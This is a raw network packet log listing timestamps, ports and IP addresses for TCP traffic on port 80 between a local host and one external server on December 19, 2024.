Dec 19, 2024 22:40:06.615750074 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.615801096 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.615818977 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:06.616265059 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.616297960 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.616322994 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:06.616331100 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.616379023 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:06.617117882 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.617155075 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.617206097 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:06.740560055 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.740721941 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.740900040 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:06.744831085 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.787975073 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:06.802793980 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.802947044 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.803141117 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:06.806976080 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.807167053 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.807235956 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:06.815486908 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.818499088 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.818677902 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:06.818789959 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.827208996 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.827244997 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.827277899 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:06.834981918 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.835037947 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:06.835094929 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.843545914 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.843614101 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:06.843735933 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.851994038 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.852027893 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.852080107 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:06.860371113 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.860436916 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:06.860477924 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.869141102 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.869227886 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.869255066 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:06.877311945 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.877398968 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:06.877404928 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.907666922 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.907737970 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.907749891 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:06.923007965 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.923082113 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:06.994518042 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.994556904 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.994649887 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:06.995719910 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.995857954 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:06.995929956 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.000667095 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.000731945 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.000812054 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.005599022 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.005654097 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.005712986 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.010507107 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.010679007 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.010751009 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.015290976 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.015403032 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.015465975 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.019972086 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.020072937 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.020133018 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.024720907 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.024823904 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.024883986 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.029432058 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.029524088 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.029608965 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.034102917 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.034214973 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.034271955 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.038834095 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.038964987 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.039028883 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.043554068 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.043633938 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.043718100 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.048315048 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.048430920 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.048504114 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.053064108 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.053212881 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.053272009 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.056885958 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.057005882 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.057090044 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.060677052 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.060805082 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.060873032 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.064560890 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.064666033 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.064742088 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.068435907 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.068533897 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.068609953 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.072227955 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.072417974 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.072479010 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.076045990 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.076176882 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.076241016 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.079885960 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.080008030 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.080087900 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.114505053 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.114561081 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.114821911 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.116446972 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.116497040 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.116559982 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.120259047 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.120428085 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.120496035 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.124124050 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.178592920 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.186691046 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.186829090 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.187053919 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.187977076 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.188452959 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.188560009 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.188616037 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.191310883 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.191431046 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.191534042 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.194525957 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.194578886 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.194629908 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.197112083 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.197190046 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.197206974 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.199898005 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.200018883 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.200026035 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.202697039 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.202794075 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.202894926 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.205369949 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.205461979 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.205496073 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.207963943 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.208061934 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.208152056 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.210617065 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.210721970 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.210742950 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.213202953 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.213538885 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.213675022 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.215852022 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.215936899 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.215971947 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.218581915 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.218616962 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.218663931 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.221070051 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.221127987 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.221179008 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.223673105 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.223831892 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.223884106 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.226309061 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.226388931 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.226438999 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.229182005 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.229235888 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.229259968 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.231515884 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.231611013 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.231709003 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.234132051 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.234194994 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.234364033 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.236738920 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.236829996 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.236840010 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.239398956 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.239451885 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.239489079 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.242006063 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.242096901 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.242114067 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.243949890 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.244031906 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.244070053 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.245851994 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.245934010 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.245971918 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.247777939 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.247848988 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.247912884 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.249715090 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.249784946 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.249855995 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.251709938 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.251763105 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.251786947 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.253660917 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.253789902 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.253818989 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.255584955 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.255664110 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.255698919 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.257538080 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.257620096 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.257703066 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.259483099 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.259555101 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.259614944 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.261421919 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.261487007 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.261526108 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.263382912 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.263453007 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.263469934 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.265290022 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.265386105 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.265409946 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.267230034 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.267298937 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.267363071 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.269203901 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.269273043 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.269335985 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.271119118 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.271179914 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.271250010 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.273047924 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.273132086 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.273159027 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.274977922 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.275051117 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.275108099 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.319066048 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.378592014 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.378676891 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.378865957 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.379256010 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.379534960 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.379597902 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.380872965 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.381414890 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.381475925 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.381525993 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.382977962 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.383038998 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.383203030 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.384598970 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.384661913 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.385214090 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.386070013 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.386131048 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.386213064 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.387569904 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.387634039 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.387687922 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.389066935 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.389144897 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.389180899 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.390638113 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.390690088 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.390697956 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.391971111 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.392031908 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.392117977 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.393444061 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.393506050 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.393558979 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.395056963 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.395123005 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.395181894 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.396231890 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.396292925 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.396363974 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.397694111 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.397799015 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.397809982 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.399068117 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.399144888 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.399146080 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.400429964 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.400494099 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.400542021 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.401762962 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.401819944 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.401871920 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.403143883 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.403204918 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.403286934 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.404550076 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.404611111 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.404659033 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.405900955 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.405962944 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.405981064 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.407258987 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.407331944 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.407447100 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.408626080 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.408687115 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.408740997 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.409950018 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.410027027 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.410089016 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.411309004 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.411372900 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.411433935 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.412702084 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.412775040 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.412928104 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.414195061 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.414227962 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.414256096 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.415467024 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.415529013 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.415613890 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.416884899 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.416949034 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.417032957 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.418324947 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.418384075 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.418394089 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.419608116 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.419670105 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.419751883 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.420964956 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.421042919 CET	49731	80	192.168.2.4	3.79.209.76
Dec 19, 2024 22:40:07.421123981 CET	80	49731	3.79.209.76	192.168.2.4
Dec 19, 2024 22:40:07.422354937 CET	80	49731	3.79.209.76	192.168.2.4
